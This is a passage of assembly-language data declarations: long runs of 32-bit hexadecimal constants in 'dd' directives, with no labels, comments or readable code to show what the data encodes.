38958734h, 0BE7B35FEh, 0F03B2DF4h, 0B37B3202h, 74D742F5h dd 0C6AC75E4h, 5307D844h, 0EF9C2062h, 0EF1F9476h, 0A962B276h dd 1AFC181Bh, 66800FA5h, 4EE7A467h, 0EB65B1E5h, 53090BAAh dd 75A1A23Ch, 0C1F4A0D1h, 0C64BC033h, 0C48C15C0h, 0B5C1C662h dd 0DDB7932Ch, 20EC5DF7h, 10D3A0FBh, 0C81735CFh, 2CC7246Ah dd 0C74F2A0h, 7D686ECDh, 0BC15C19Ah, 0EB5A18C5h, 3F2DC022h dd 0FE0097Bh, 446B528h, 0E5A27B37h, 0D575E303h, 0A06F7061h dd 0F6839935h, 5209418Dh, 67E7BD58h, 0ECA10AF3h, 0CCEA8434h dd 9202AE9Fh, 609CE22Eh, 34371FBAh, 0A82F10DEh, 0DA32FF86h dd 1A4F5CA5h, 0DCA0659Bh, 0A3E37334h, 5FEB6D5Eh, 23FF4FD5h dd 958B30B3h, 0FAFD5E3Ah, 4DC5B43Fh, 0CD8A0BEFh, 43CDD1FAh dd 0A40ACA2Ch, 3CC2B9ACh, 0B447E98Dh, 0E0413722h, 6FA718FDh dd 0B5B8F40h, 0D85C4112h, 8278F65Fh, 0DC179B5Bh, 7A9ECA1Eh dd 62DC6760h, 2DD0A656h, 9F1D7D39h, 44CDEF1Fh, 22B7A834h dd 99B29651h, 7D9DC8EEh, 69CE6B89h, 6603E764h, 977A1C0Bh dd 5BFC2AEFh, 57AE46CEh, 6565B75Ch, 418B1CBCh, 38D40471h dd 95134CE6h, 0DB36E098h, 1734AB7Dh, 9FD5C31Dh, 2BAD5510h dd 887ADA85h, 0AB0AD47Ch, 0F0B241Fh, 0ED6D9AA4h, 43A7010h dd 1BB040CEh, 0A63AB66Ah, 44F071DDh, 0C2B329AFh, 1AEE46C6h dd 2ED52DEAh, 8A67F57Eh, 593C9E72h, 0C0CB5090h, 9C6806B9h dd 7F728B6Eh, 1BBB138Ch, 0AFD7C525h, 0C3680EB1h, 0FD13FB70h dd 0C1639901h, 48F92B00h, 4C02384Eh, 14B839D8h, 0AD46C76Ah dd 73F88F3Eh, 4AD51DFEh, 450DBEBEh, 0D37E1CB8h, 0BC6177ADh dd 0CD16F332h, 0B01CE41Ah, 856D9B59h, 0EA56FC6Bh, 8A35F456h dd 649A2ECBh, 0E110F82Eh, 0CB1E043Ch, 0B7198675h, 77C82CCBh dd 38D372EBh, 43B425B4h, 947302B7h, 8064E27Eh, 223C42CCh dd 0EA73C1D4h, 6FC55D18h, 28B338BBh, 0B393B18Fh, 0DB00F098h dd 2819FF60h, 7CC18A30h, 5EE5992h, 0ECF15D92h, 0BE09DC2Bh dd 71CE6C00h, 72A8DC83h, 2696058Ah, 65E349AEh, 0DB5D1FAEh dd 0B12D1C34h, 3ED17EC1h, 18E85EA5h, 0AE7573EAh, 0CA46799h dd 0F71BCD57h, 28C6BD04h, 0B02EC29Bh, 0B737AE68h, 0AE38985Bh dd 9BCDC066h, 26B00DE6h, 0C191AB89h, 0BF0C9B51h, 0DB53C02Eh dd 0BB1BE172h, 0C0494D7h, 0C2B436DAh, 5CFE74DEh, 76964588h dd 0BE5413D5h, 0A8B7D595h, 7D7AB006h, 0DA731E9h, 362C172Bh dd 0E19E36B6h, 0E8779426h, 2E2E901Eh, 77AD9BDBh, 92B72199h dd 0A9AD498Ah, 25C59E2Fh, 20DE2BD6h, 7998EFA2h, 568C3A9Ah dd 6FFA7A20h, 1DCC2DA5h, 9C948E8h, 8A463EE1h, 34C85204h dd 8D10DA38h, 0BA33D175h, 0AFD6B058h, 0A41B8403h, 8820E85Bh dd 66C45A1Ch, 0F79E22CCh, 9A91E7B9h, 3CB66EAh, 0ACF93A3h dd 3EDC61FAh, 7DDD21E1h, 0DEB4E485h, 5F118A9Fh, 40D216F9h dd 49814B91h, 49A24FA4h, 48F578F5h, 114EEA20h, 6FFD12F0h dd 5A8F52ACh, 70DCBEAAh, 73C40B87h, 0F62A3DE6h, 14B1D910h dd 0AF71F86Dh, 605EFB4Eh, 27E95DBDh, 67D93EB6h, 487C0BBBh dd 0DA982812h, 0EC5D2023h, 0F85FBC33h, 9D68E712h, 10A5A120h dd 0F27F239Bh, 952BAC07h, 8F7D167Fh, 0E20F815Ah, 6C9C442Ch dd 50AB2C8Ah, 0F892359Fh, 0D692F64Dh, 9B4A954h, 0ED432832h dd 0D5659574h, 9D83456Eh, 0F179FFA4h, 0E0CBF1Dh, 0A35628B3h dd 0DD76ED0h, 14E056ACh, 0AB51DBEDh, 65D44410h, 958822C5h dd 0E3708274h, 4C0FE87Dh, 2EE14A38h, 7CDE9C04h, 7CEF499Ch dd 2FBA05C6h, 50D2EC40h, 7595E9C2h, 0E507985Dh, 4CA85B13h dd 16EA5CDEh, 1DAB9903h, 8D593626h, 47E4F851h, 0AE9B2885h dd 6DCCA542h, 0A6003A83h, 79152CF2h, 49A704FDh, 0F378E5C3h dd 0DC37A419h, 3FB6903Dh, 0B36C193h, 0E167B147h, 1CCEBAAFh dd 73CBE66Fh, 70FE7EE1h, 5CC00BFBh, 63F01898h, 8EB46CFDh dd 0B8AE1582h, 0B26829DDh, 3B464C30h, 0E6AC5ABBh, 0E11EE34Fh dd 41666464h, 7E864F0Bh, 7DED71D1h, 6FA4881h, 2A44ED3h dd 0D852D495h, 5F308F40h, 0B3E97497h, 88478440h, 8334974Dh dd 903A3D91h, 289E69E4h, 0B354ACF3h, 0D010E791h, 65562C02h dd 180CB806h, 72C664EBh, 78E35DAFh, 9E87983h, 24CF43ACh dd 2F0D0496h, 5CEB6B2Dh, 0DF845F5h, 91C216F5h, 0A4A2F444h dd 0C736906Eh, 3E2FDD34h, 6FE5522Fh, 43F272F3h, 2D262ABFh dd 0A943CF89h, 6AD8B899h, 0A789C971h, 0E160348Fh, 8D13940Ch dd 5AFB5ACCh, 0BCAEE2C5h, 39D90ED0h, 0CD8331BFh, 0AA3BE773h dd 46BA59E6h, 0B8E92C7Bh, 443FA893h, 1FF165C5h, 6C59C32Eh dd 0BAC23B8Ch, 0BE61DA4Eh, 0F648E662h, 3DE0DF4Dh, 299C7B03h dd 0F09A3AC2h, 924C8476h, 8CBCA382h, 6933E193h, 0EC6BD944h dd 6488EA78h, 82991CCEh, 6F13891Bh, 136111EFh, 7F301735h dd 238B17DAh, 701E8C54h, 12C5719Fh, 748A66A0h, 5420FB91h dd 0E15ED3F4h, 0AE47BF2Bh, 0C1372357h, 2A2E1F05h, 77FA7B9Fh dd 0D474E800h, 5EA90F17h, 749976EAh, 0CFC06182h, 53977F0Dh dd 44A25CDAh, 1E3CC57Ah, 0D8C9665Ch, 0F96BFA6Fh, 2509F161h dd 0F45F372Ah, 0BEE160A1h, 0A502C98Ah, 0AF14931Eh, 4927A551h dd 7EEE1202h, 4D056374h, 0CD56BCBh, 2F66BD1h, 0EC6D1CC8h dd 0AA04E410h, 0DF5F07BBh, 2887B60Dh, 8D76F372h, 0FF9956Fh dd 0DC7C06CFh, 4DFB3116h, 72F07215h, 259E7DE6h, 86279056h dd 0B1453A14h, 9DB35E11h, 5D9E67C1h, 857315CFh, 0B09946ECh dd 0D15F27D8h, 4DF1653Fh, 6BDD3CBFh, 5B95A36Dh, 5EB1ABADh dd 6DD2E80h, 1B46AF94h, 6DD200F9h, 7DBE1BFEh, 9D94C5CFh dd 0D021DF53h, 0B279DE63h, 0C209FA59h, 1ECF9242h, 0B8085435h dd 0BECA194Eh, 827FFD59h, 9D71F503h, 0C435E545h, 0B8CC8F2Fh dd 0E19B2C08h, 0F075816Eh, 8409DB4Bh, 4621DF37h, 0AC4A8856h dd 0F9C0B33Eh, 0F1AE10C5h, 6A5B311Bh, 251ABC03h, 67943C95h dd 447D06ADh, 0B43DA600h, 493C9B5Bh, 80FA7B21h, 0A348B619h dd 0D12ED019h, 53E5AA42h, 8153F2F4h, 3B5FE71Ch, 6FD848C8h dd 0F016243Ah, 0BE628F15h, 9D46FB8Bh, 0C25DE762h, 10E59B74h dd 9465EBD0h, 443CF540h, 0F274D9A3h, 0C629C15h, 42A0DE16h dd 0AE14D673h, 65D874C1h, 579046FCh, 1D25B79Ch, 0C40D20D2h dd 922E0A3Bh, 4FF201F5h, 0B92586EBh, 71EECC1Ch, 0BFE8A1B8h dd 82F95091h, 0F3A048EFh, 0F8569931h, 0ED030C30h, 0CA63B68Ah dd 8F888E00h, 5BE5AB59h, 8F97B99h, 3ED464F5h, 584E19BBh dd 3C32C2F6h, 0B9903CBDh, 76F41AB6h, 45BE26C4h, 34CA3AA9h dd 0C9980Eh, 0CA67AAFFh, 0AF09EE14h, 7A23DC44h, 98749CBh dd 0D5AAF98Fh, 28CCE54h, 0C676E610h, 1315C921h, 0CC718E39h dd 0FE5D542Eh, 3D0CE37Eh, 7E6F6D6h, 0FB42EEEh, 83E4A25h dd 4ACD73D2h, 34F3BF82h, 26E5A568h, 38FFA366h, 4219D174h dd 6C3BF78Ah, 8E3294D0h, 8655E538h, 0F88F23F6h, 55BFB124h dd 0C3A10EF4h, 492B886Ah, 44BB070Eh, 4E281DAFh, 5FC263D5h dd 8DED98E1h, 3FD6E52h, 39AF2096h, 0D04DF73Ch, 28E5D371h dd 85366E3Ch, 17B85EFBh, 21E187BFh, 0A9B45276h, 6A1CC17Fh dd 0C45A2FB9h, 0F0389D73h, 20D78B3Eh, 0BA01496Ch, 0E81E5472h dd 7CBB07B2h, 7EBDFD30h dd 70B7FB3Eh, 8AC1194Ch, 0D4E33F72h, 0E6354598h, 5B6E83D6h dd 0BDE6D005h, 0C1F72D5Bh, 0C7200E8Bh, 7152B499h, 0C82C3217h dd 4CA79FE6h, 1E096554h, 0D8CB3B22h, 9285F9E8h, 0C4CFD79Eh dd 9AD0063Ch, 0E091564h, 80B0B02h, 2050908h, 340F071Eh dd 0C6D12D3Ch, 90E3F3CAh, 4A5DB180h, 0C375F76h, 77ADDBE4h dd 0CDEA1041h, 4F6C8EAFh, 0C1E6042Dh, 3B508ABBh, 85B2E801h dd 0D7043657h, 93E6CA5h, 25BA01D3h, 0AA4B7A64h, 5BA435D4h dd 0D831A9FAh, 802CC244h, 1F436E9Bh, 2977E10Fh, 0B655F5E6h dd 0B76F292Ah, 52001002h, 10A0DA9Ch, 0A999092Dh, 0BB3C3E02h dd 4D8E171h, 66F37DF9h, 6BED76FEh, 50AFD214h, 0BE7828CDh dd 0D4712BD2h, 28828B5Ah, 24CE7506h, 2316CF73h, 0E0AAA0DCh dd 18DC99F1h, 8A1D9D43h, 4AF737D4h, 608E6CD4h, 0E1BC3392h dd 88DEBE6Ah, 4811751Dh, 0B95305BFh, 0E344603h, 0F6972B46h dd 55ECCAB8h, 0E88F50B6h, 0FF87B078h, 775D829h, 0D54FCB83h dd 0A89B1E30h, 58D8BDA3h, 7198FA36h, 0E3682233h, 0F75749ADh dd 7F48F601h, 398235B5h, 0E35AD921h, 1D52C305h, 1E6B03EFh dd 0DB780ED7h, 0EA702E4Bh, 5316C0E2h, 0C70188C1h, 49A1657Dh dd 6966686h, 0E39658D2h, 0F85C383Bh, 0C328FC6Ah, 50019809h dd 5E1D13A5h, 31A191CEh, 0F95DC37Bh, 0E63ED7B9h, 84A8765Fh dd 39E2AA25h, 0A660B7C5h, 0EB738170h, 0F462BF6Ch, 116FE05Dh dd 0BE7C14ECh, 0CB0B8F9h, 0C0713925h, 9322E77h, 56C016FAh dd 5445ADDFh, 9070B056h, 0B02EEF6Ah, 0C61F64FBh, 274D278Ah dd 1787165Eh, 1BE61FE3h, 32D7298Dh, 379D0901h, 0FD55F94Bh dd 75C7C11h, 66DF61C0h, 6D0ACFB8h, 0D8B48DAAh, 660DCD7Bh dd 0BB865FAFh, 77C6EC76h, 0AD2423E4h, 0B4EE2BE7h, 0B6044DD8h dd 0FCAD2E15h, 0AEB09249h, 0FB3BC6D1h, 0B08FEB73h, 50F428E9h dd 0B6ABA504h, 0D965ED4Fh, 0BAE568Ch, 6AD9D6A0h, 6579E37Fh dd 6E8779D0h, 0E2DBF9A6h, 23875F1Dh, 65A9651Dh, 7D1BB60Fh dd 35033436h, 74A40875h, 0C52A8866h, 2EA2714Ah, 0FCC995C7h dd 0E15F91FAh, 9D0AB167h, 607EF4E2h, 222EDFFDh, 95315637h dd 18205264h, 4C26FE7Ah, 12A65DB8h, 0F3341306h, 95B852B2h dd 48A27EA1h, 3C203B10h, 1FC7ADD2h, 92A24955h, 45349379h dd 0ABBE2066h, 4BB25FFFh, 7F1D6610h, 95679D56h, 6D8F4A57h dd 60BC79A1h, 0BF472E40h, 0F61F5C06h, 7220C13Eh, 0ED929513h dd 7C808878h, 0F193871h, 93884611h, 0CB41C451h, 0BFF300EDh dd 0B34F1193h, 842C8BD2h, 0CA4726E2h, 5475341Eh, 28E5F9A9h dd 0E76DFAAh, 38199BF1h, 0B168809Ah, 6BA87A48h, 47A5669Fh dd 481590F6h, 1622D8EEh, 1C3AF059h, 15183A7Fh, 31A393C0h dd 0CCB0035Ah, 0C2C240EAh, 32D3043Fh, 62DB2DCCh, 24A19EA4h dd 0DD73EC78h, 7DC43F0Fh, 461C04FFh, 0D46941F7h, 3A8DA728h dd 850C56B2h, 6325E785h, 67F58735h, 0EF12DA89h, 0A0BA5F69h dd 7F3FD0BBh, 0F3597D3h, 0B65E1C60h, 4CD604CAh, 0DBAE67EAh dd 704D62Ah, 8B4CA667h, 7A6AECBh, 8FD0101Eh, 55378FF1h dd 0CD5362B8h, 0AB33733h, 9114C9Dh, 0AEF643C5h, 4C94548Ah dd 0A02A670Fh, 6CD8C8B0h, 0DB5D59F3h, 63A8842Eh, 8768F6A9h dd 0C340FFC3h, 3AAC03A4h, 0F65FD674h, 0F504973Bh, 9B4CCEEEh dd 8C29E3D5h, 0F505AE75h, 8EAE0AFh, 2D2FB984h, 8C44BA7Fh dd 0D562BE19h, 0A1E0A33Fh, 0F062BECDh, 4ADF5D21h, 807E209Ah dd 933DAC61h, 0A9857FA1h, 0A24E8C68h, 24CF8A14h, 8165F86h dd 984C44E1h, 1A8F85E2h, 5049DC79h, 29D81CD5h, 21BC1A3h dd 74454D05h, 88A349D8h, 0DBF4B7A6h, 0EA819F3Bh, 0ECBB1F5h dd 7210C979h, 0A87DF692h, 6E98F07Dh, 1264CBBFh, 735C810h dd 4A5299C5h, 7D9BE7A9h, 0D4AE554h, 7BD2638Eh, 76573CC1h dd 0C049E944h, 2430819h, 0C5D20729h, 0EB08628h, 95C97F46h dd 8DA44563h, 0A990DAE3h, 9030062h, 0B9FB231Dh, 2B73783Ch dd 46940CDCh, 22ED1250h, 0F10232A5h, 0CF6F3FB7h, 67DA2285h dd 889996B9h, 2F6553ADh, 0F6B83FF9h, 3530FB7Bh, 0A40DAFC3h dd 9C18C9E8h, 358BD50Fh, 0CAD093C3h, 5C9218A3h, 396F0094h dd 0BAA3E00Bh, 0EBB18597h, 421B58DBh, 0E0BC45E4h, 4E04CF27h dd 4F00A61Ch, 69E183DAh, 8AAD2DA4h, 64CAE8A2h, 0B5496156h dd 22E99E87h, 0C8DC5DE1h, 0A9ADCAEh, 77A58297h, 0F72D3F62h dd 0D75B13E1h, 1460AAF2h, 99B50D00h, 80434064h, 13F0D06h dd 6A3A324Ah, 0AE5D1F8Fh, 20540EC2h, 5E4BD7D7h, 8725376Bh dd 1A882547h, 842198A4h, 0B47402FCh, 52E19A61h, 3D518DDDh dd 0CFA3E3A9h, 18AF3670h, 0C83D8C28h, 0D1CEE48Ah, 0BB077F6h dd 0A7753E4Dh, 0A0241226h, 44FA79B8h, 34DD2B32h, 6B458604h dd 0A0C35203h, 11263AFh, 4B16C34Eh, 91A85064h, 5808BBEDh dd 0DC8D72Eh, 490ACA45h, 7A2942C2h, 0C24B6F12h, 65B7B608h dd 0DFCC1E0Ch, 0EB666E96h, 0CD3FBEA1h, 0C06A1825h, 37CDB286h dd 56381775h, 14E12A64h, 0B8D071BBh, 0B9E33613h, 5904343Eh dd 0ADED3B47h, 9225EA28h, 0C725898Fh, 64C3D09Eh, 98E6A8A0h dd 59357704h, 2097E18Ch, 5E763FABh, 0C4E8A28Ch, 8F33B0E6h dd 0E8A013A5h, 63E5C5D7h, 1DEF7AA3h, 0D2841B11h, 47301727h dd 0FABE7E6Dh, 5D4AE45h, 5488894Dh, 0E5D7A687h, 0FE0FFD40h dd 1B5F1EB8h, 4AEA0493h, 92AAEED8h, 440506E7h, 6E47CC87h dd 789272D5h, 0ABD6DB6Ch, 26E51A06h, 269F69D0h, 60C5E27Ah dd 0BEC26A8Bh, 2ABBE537h, 0D4986916h, 27DB31FAh, 0A808BE50h dd 0E6DF86E2h, 426A14CBh, 211E75B5h, 6D7F73CFh, 0D0192513h dd 4CE919FEh, 0BFC14A0Bh, 0C472957Eh, 55D005F9h, 891F8ADEh dd 150BD15Bh, 1EFAD25Dh, 0A79B938Eh, 478B397Bh, 0C78EB071h dd 0C6DE5A82h, 0DCFFF7D9h, 0CB071853h, 611F11DAh, 38FC3B7Fh dd 58D9467Fh, 0A96B71A3h, 0EDC97CC6h, 1C9BC892h, 5327ED48h dd 6E29A3A8h, 751C80F9h, 613A8AB0h, 0D95A41E3h, 810B4911h dd 34808F83h, 665AC172h, 7905D4DAh, 23AC31ABh, 0C198219h dd 0CC4F1900h, 64DE4647h, 70BC204Ah, 95679BB6h, 0A6C5F312h dd 0E9AFBFE4h, 69F46E58h, 42D400C0h, 5CC743Ch, 607F6CF5h dd 67FDF3BDh, 67E72390h, 0C837DACEh, 92610718h, 9493BD82h dd 2BDFC8CEh, 337734FCh, 688A7A81h, 28F619CBh, 6F80CEABh dd 0B08B9A2Dh, 584AA242h, 896B2469h, 0DA262F0Dh, 77D25318h dd 48826FA1h, 0BE5E1DB2h, 33A17CEDh, 7DFD03FFh, 45DB0A6Ah dd 944871h, 3F810B5Dh, 9F110FDh, 4DF5A7B9h, 75C0A4DDh dd 0B28960EBh, 0A78614F4h, 0B1E3555Fh, 5D9F39D7h, 91602A86h dd 0E8EF3102h, 0C14AC334h, 28E2E312h, 886A6315h, 126326FFh dd 5645FE22h, 3AE3A6B6h, 0C6BA120Eh, 4713E5Ah, 0D413D3BEh dd 0F96758C1h, 55254EEAh, 0FAB37598h, 8C78D5B0h, 0BF0AA154h dd 774F0A72h, 0CFD0AD95h, 9DCA3A36h, 0CE34D41Ch, 0C523310Ch dd 0C46EFAC3h, 0D11D3A08h, 0DAA1DC7Fh, 0A3715E4Bh, 773AEAA0h dd 0A047F5ABh, 373BC63Eh, 5D577064h, 18AEF270h, 0E34BE7DEh dd 9D39C501h, 0F53BA2A4h, 0B8B606F9h, 0B2BD9F69h, 0A68F1F96h dd 915F0C5Eh, 17532719h, 0D994780Dh, 990F4989h, 0B77780F2h dd 4DADDD7Dh, 60C2ADB2h, 0AAE1AD2Bh, 120A5EECh, 0AF572ECBh dd 0D5B47E6Dh, 0B2E426EBh, 0F448D435h, 0D5AC0404h, 6E11643h dd 12AA945Eh, 4FF0D18Eh dd 3D9876E2h, 0AF32908Fh, 7CFD2A38h, 82ECBBA1h, 0CB660DC1h dd 88830D94h, 0DA2569D4h, 0FE774B09h, 44CBE2CAh, 0E4374909h dd 5DA111AFh, 467F8156h, 3373216Bh, 0AF7EF3E4h, 661C9572h dd 0F291F9BAh, 0C311A456h, 41E8A14Eh, 85AD43C3h, 3D773ACEh dd 7E43EC1Dh, 0BB36FC14h, 3BEEAC04h, 1F6D5B10h, 4BC7AFB7h dd 0A43D4E15h, 0A57E2014h, 11934283h, 4EF7AC41h, 0AFD19331h dd 0B6D7796Bh, 5CF5D5Fh, 3098B009h, 51B8ED59h, 0BFF95AF0h dd 0C56200F8h, 0F8313E7Ch, 4A229CBEh, 0DF8604ACh, 0EFE05F2Dh dd 0EADF5D6Eh, 0D145D23h, 52931A92h, 0D0E8CB23h, 0A1DA3608h dd 0B07D86F5h, 0DBA4D911h, 0F110CC7Ah, 0EF129FE5h, 0D1D8D4ADh dd 0C3220008h, 0A191C7FCh, 1CDDF882h, 0D9F59DBh, 8AC71E1Bh dd 0E782DE11h, 0BB44EADFh, 0A98CA06Dh, 1A91121Bh, 430937E6h dd 0AFC0D654h, 0A23CB7BEh, 4725BE8Fh, 0AFF35559h, 31E525Ah dd 3AF29BEEh, 4C1B0BC4h, 3F96803Ah, 29683835h, 0A92150A8h dd 0FD9B6DBCh, 0A63874F8h, 3FFDB329h, 0D98706A0h, 260EE434h dd 93313A0Eh, 6ABA4BB5h, 0A1E074A8h, 1E84867Ch, 17CA90D1h dd 39365C5Eh, 8FBDD3D1h, 25619016h, 0AE47FB8Ah, 0F662BD3h dd 5B2B186Dh, 0E25983ECh, 0C29B5CA7h, 0CF971FEEh, 7B3DE459h dd 79BEF070h, 0E1BC76B3h, 943E1789h, 0D01EE876h, 22419DCEh dd 6FF77474h, 86C32097h, 3A4088ADh, 7110DA5Bh, 8E35CBE7h dd 0B43D4DD2h, 0F7B465C9h, 0D42663F0h, 3B4FFDC3h, 9B7E38AAh dd 5A5C4F5Ah, 0B8B5E7D6h, 3DB261F2h, 43720712h, 9942F871h dd 905D9D04h, 76A8D5AEh, 97B567BEh, 78A5F736h, 0C39128B1h dd 8720094Ah, 31930AB2h, 0AD1FFA97h, 83FEBBF3h, 8A33C9A6h dd 0E649E09Ah, 0B319C222h, 7660FFEDh, 0CF8B64C5h, 0B6848A9Eh dd 0DC70919Ah, 8C3A39FBh, 0D75FB04Eh, 4222C46Ch, 65B6EC09h dd 96E24F30h, 0A79B1B14h, 9BEF4h, 0A8C20F22h, 9B84F050h dd 35CF472Ah, 8D92A7ECh, 0C68899Ch, 8A4A98EAh, 31139703h dd 4DA79C6Eh, 0E63B39D3h, 0A2E390FAh, 3F498229h, 0D32999A9h dd 0CC9BEACCh, 0D6EF0ED8h, 14CE278Bh, 5DAFBB10h, 94AA8D8Fh dd 891BF8BCh, 0C03FB8D1h, 0DA094D6Bh, 0A55AE326h, 4BE02F14h dd 85BA43CDh, 7C246A4Fh, 8E28138Eh, 2928DF65h, 0CE5CD66Dh dd 0A6DA92E5h, 0C17E34F4h, 0F8BAB2BBh, 57862009h, 0B7A4E2D4h dd 360A6BFCh, 3C15116Eh, 3A831D6Ah, 4FBF64F6h, 0B03D0EDEh dd 2C9A7609h, 71D0A471h, 713205BBh, 0FAB07E31h, 2A6AC259h dd 9CC9C399h, 0A702D415h, 73BD6431h, 51A461EEh, 4833350Ah dd 64740756h, 68E5F157h, 74CB5121h, 0CEC0050Fh, 0EA70EA67h dd 342F6EF4h, 0F6EFAC65h, 95724CC6h, 8F48C354h, 683C83CCh dd 32EE0036h, 0C5049700h, 4F02D788h, 0D98D88A0h, 82F51710h dd 0F2971845h, 88DCEA49h, 0FB8202ECh, 9BD36F34h, 22E52209h dd 7DE8C1FDh, 61E0EB2Dh, 27512EF1h, 0C666AA73h, 91685DD8h dd 0D7DA2004h, 473C32EAh, 51A05056h, 4E9BCFEh, 0DF72819Ch dd 0CD80AE7Bh, 55F3EB06h, 9CA99754h, 0C4872A5Eh, 4C94531Eh dd 6C50C0B0h, 6C4B0AC3h, 3755C719h, 630C011h, 0FC4D30F9h dd 9C13DBB7h, 7074A95Bh, 91BA7CFBh, 7D70AB8Ch, 72D424DBh dd 4C6A018Ah, 6C2A9D9Eh, 0A03572CFh, 66F475Ch, 69B9067Eh dd 59125AC2h, 0C95B9B2Fh, 5D9C96E4h, 3FC114DEh, 0CA06E2A1h dd 550AB048h, 48FE05E7h, 3BD415DBh, 0FEBD7Dh, 3FA913ADh dd 58E05125h, 0FB3FF77Eh, 0B123E34Eh, 757FB67Ah, 8244095Dh dd 0DB298F71h, 7ACF689Ah, 887CC570h, 8FF7C835h, 0E2F83E67h dd 0B64428FDh, 7E22D0A9h, 61EB2F55h, 14BEBFC1h, 1917DD80h dd 67F401CDh, 80C8922Dh, 89475AA8h, 81C24CACh, 7B47F6DFh dd 0EB3C716Ah, 192E35B7h, 0D0FB9531h, 16A79BADh, 329B16DDh dd 0EC4EF6F8h, 2B011F17h, 0A5DBB7F0h, 5E2C66C1h, 0BD86328Ah dd 2A424FFCh, 23365E8h, 0BEA5DB45h, 3942B862h, 9BF9958h dd 1A8569D8h, 0ACA51ACh, 0EE81DE67h, 37338C34h, 3A333254h dd 1878EA53h, 37DBCCE4h, 0CBA06FAEh, 0EC3E9814h, 23916E11h dd 6D0254Ah, 60D35D6Dh, 274AA930h, 0CED921D7h, 9F8477DAh dd 8EC560A9h, 0A262D135h, 2BBB9356h, 17BCAA7Eh, 0AF9F5DC5h dd 0C24903C8h, 7DBD410Bh, 5816F4B2h, 3DE5DAF6h, 8F40295Ah dd 6C6E62A9h, 49258576h, 14847D29h, 5CC7F4ECh, 0D1F03476h dd 0A1336677h, 45076DC2h, 28CF6DEBh, 8127EC37h, 0C6B87BF9h dd 26D214Fh, 1AF6EAh, 2FE33DF5h, 3ACA1751h, 0B63E17EDh dd 9023F062h, 0DA36F56h, 6C5CF05h, 5BDD6732h, 0B7515B1Dh dd 0D1A784FEh, 0A75D7AE8h, 1B36A1D4h, 0F759E64Ch, 0B333B3CEh dd 5905A2E7h, 1BE6EFD6h, 111BB424h, 0BBE92541h, 36D9CFD7h dd 9BC74AA1h, 9A0BCD27h, 0C64FC664h, 69AE7078h, 588BEFA9h dd 93123A97h, 6970EDDBh, 921717D6h, 0BDE4325Ah, 3F44F6D7h dd 14C3B87Bh, 9471BC80h, 0F2BCB209h, 0AC9ED426h, 0BFFF8ECEh dd 2BE2A18Eh, 884922E3h, 0FD84BB54h, 0EA66F417h, 0C333B53Bh dd 6040F3E7h, 59328A9Ch, 0B195A879h, 0C12EDA85h, 6D04A26Ch dd 94F2A85Ch, 0EBF14D89h, 33175B6h, 0FAC805A6h, 13D35286h dd 0F8B69089h, 824FEE48h, 0EACC62AAh, 0EB94D10Ch, 9E6B4ACAh dd 3D00D75Eh, 0F3BF0225h, 0AA2F63ACh, 0CAF2A739h, 0D5FCE476h dd 7544D6B2h, 0AEE52DABh, 0D6F8473Bh, 0CC24098h, 33FB00DFh dd 0C27F961Ah, 21C44160h, 5BA163E1h, 7CD8C5ACh, 0D2CF4917h dd 28875BCCh, 86B794DBh, 0E6DB86A1h, 0BDAE0B4Fh, 0CC435DAFh dd 0A0EADF7h, 311029E3h, 0B58DBD80h, 6F3D9AF2h, 0F354F58Eh dd 0ABF94AF4h, 9B2068FAh, 0EC4FBA93h, 0BA58FD3Bh, 9F2C835Bh dd 0FBF53F53h, 1ED62430h, 82D76396h, 4121AC7Dh, 3EA4E4B2h dd 427BA51Ah, 0C13C44CBh, 17ABA862h, 0DAEBAA50h, 0BF75CFABh dd 7321F683h, 285919D8h, 0DEDE1971h, 0C5B5ADF6h, 0F584BF68h dd 0A8A13345h, 0E2DBCBBh, 3357FC05h, 0ABA3E360h, 79F91E77h dd 26931DB3h, 0BC3CAEB2h, 55AA8986h, 43C84BB9h, 5CAE8499h dd 0C217A295h, 875D6AEFh, 2D19268Dh, 0D38903A4h, 28FC3282h dd 262EF049h, 0D7E6C4ADh, 90D05807h, 0B30E56AAh, 0CE03D00Bh dd 0DD443607h, 0DD599C40h, 588BF53Ch, 0FD08FEDAh, 634F4379h dd 0CC7432C2h, 0C599AB69h, 0AED16E0Bh, 0F25C58E1h, 0E197653Dh dd 1E8AF156h, 0B274B693h, 0EC363F26h, 236F0745h, 0FE6F2C6Eh dd 0D8A17231h, 0F87D1681h, 0DE8915D0h, 4851C50Dh, 63309FCAh dd 47D4FD9Ah, 0A0C7E850h, 4B0C311Dh, 4BA21660h, 6F7A982h dd 7A589418h, 0DA8C1EEFh, 0B7C588A4h, 73EFB9Dh, 0CC9D42F3h dd 0C5F81DCFh, 8FD0C5EDh, 0BE349B60h, 16BBBFh, 2646839Dh dd 38C64462h, 3B611446h, 8DDE67CCh, 2D64E489h, 3832CA5Ch dd 0D7E01D34h, 838224A1h, 307ABBCCh, 490F82AAh, 0D63EE341h dd 4204C6FEh, 0F575E4AFh, 0A368794Ah, 4AD261E3h, 3E2D62F9h dd 0D9492FFh, 436D6E18h, 8D912846h, 0F66D664Fh, 3691D196h dd 3FEDB57Ch, 1D089E7Bh, 1191270Bh, 0C703F287h, 0BCE1AB2Fh dd 0E0BF4203h, 1A0C414Fh, 4D66E855h, 5FF5ABEBh, 0A46F835Dh dd 66FE9B4Eh, 0B07CD6ADh, 99143643h, 45A233F9h, 1375FFC0h dd 0B32707BFh, 27575DD6h, 0DFAC7549h, 0DF1CC9DEh, 6B852495h dd 0C4AA3F82h, 352CDCAEh, 0D5079F3h, 16932DFh, 2101D05h dd 1FBC4C3Ch, 0CC22D34h dd 8D185B7h, 3A7EF766h, 70106193h, 45A148BEh, 0E658A799h dd 2A679900h, 0C879B159h, 9649941Dh, 14D5A068h, 7D780757h dd 11BFAE4Bh, 0E41E1FDDh, 0EB756FD6h, 9B224AE6h, 125B3548h dd 5482AF09h, 0B0ECDAA3h, 0D48E6091h, 796AC7F5h, 0B8864BDFh dd 363CCE10h, 829B36E3h, 249D5764h, 510C99D9h, 1E08DDF7h dd 807F3D91h, 1CBDE9C8h, 8B6C4855h, 0D054F07Dh, 8382B2FAh dd 46CEDE7Ah, 0DAAB9F03h, 7E7F8D95h, 5C71BCC5h, 507CF4AEh dd 6FCB39D6h, 270AD6A2h, 20583565h, 9F676AF1h, 2C1E0F21h dd 0B1EC38E9h, 1861B391h, 18956E5h, 59CB0216h, 5BF755CBh dd 0CD62BEF8h, 0B7AFAB8Ch, 24E4B3AEh, 0E2AFCC9Ch, 7703EA8Eh dd 503F806Eh, 7DEFB7EEh, 9CE8CCDAh, 49FC38A2h, 0BB0B3173h dd 907DC6E3h, 1AA30CBCh, 33054BC8h, 2DA3B8C7h, 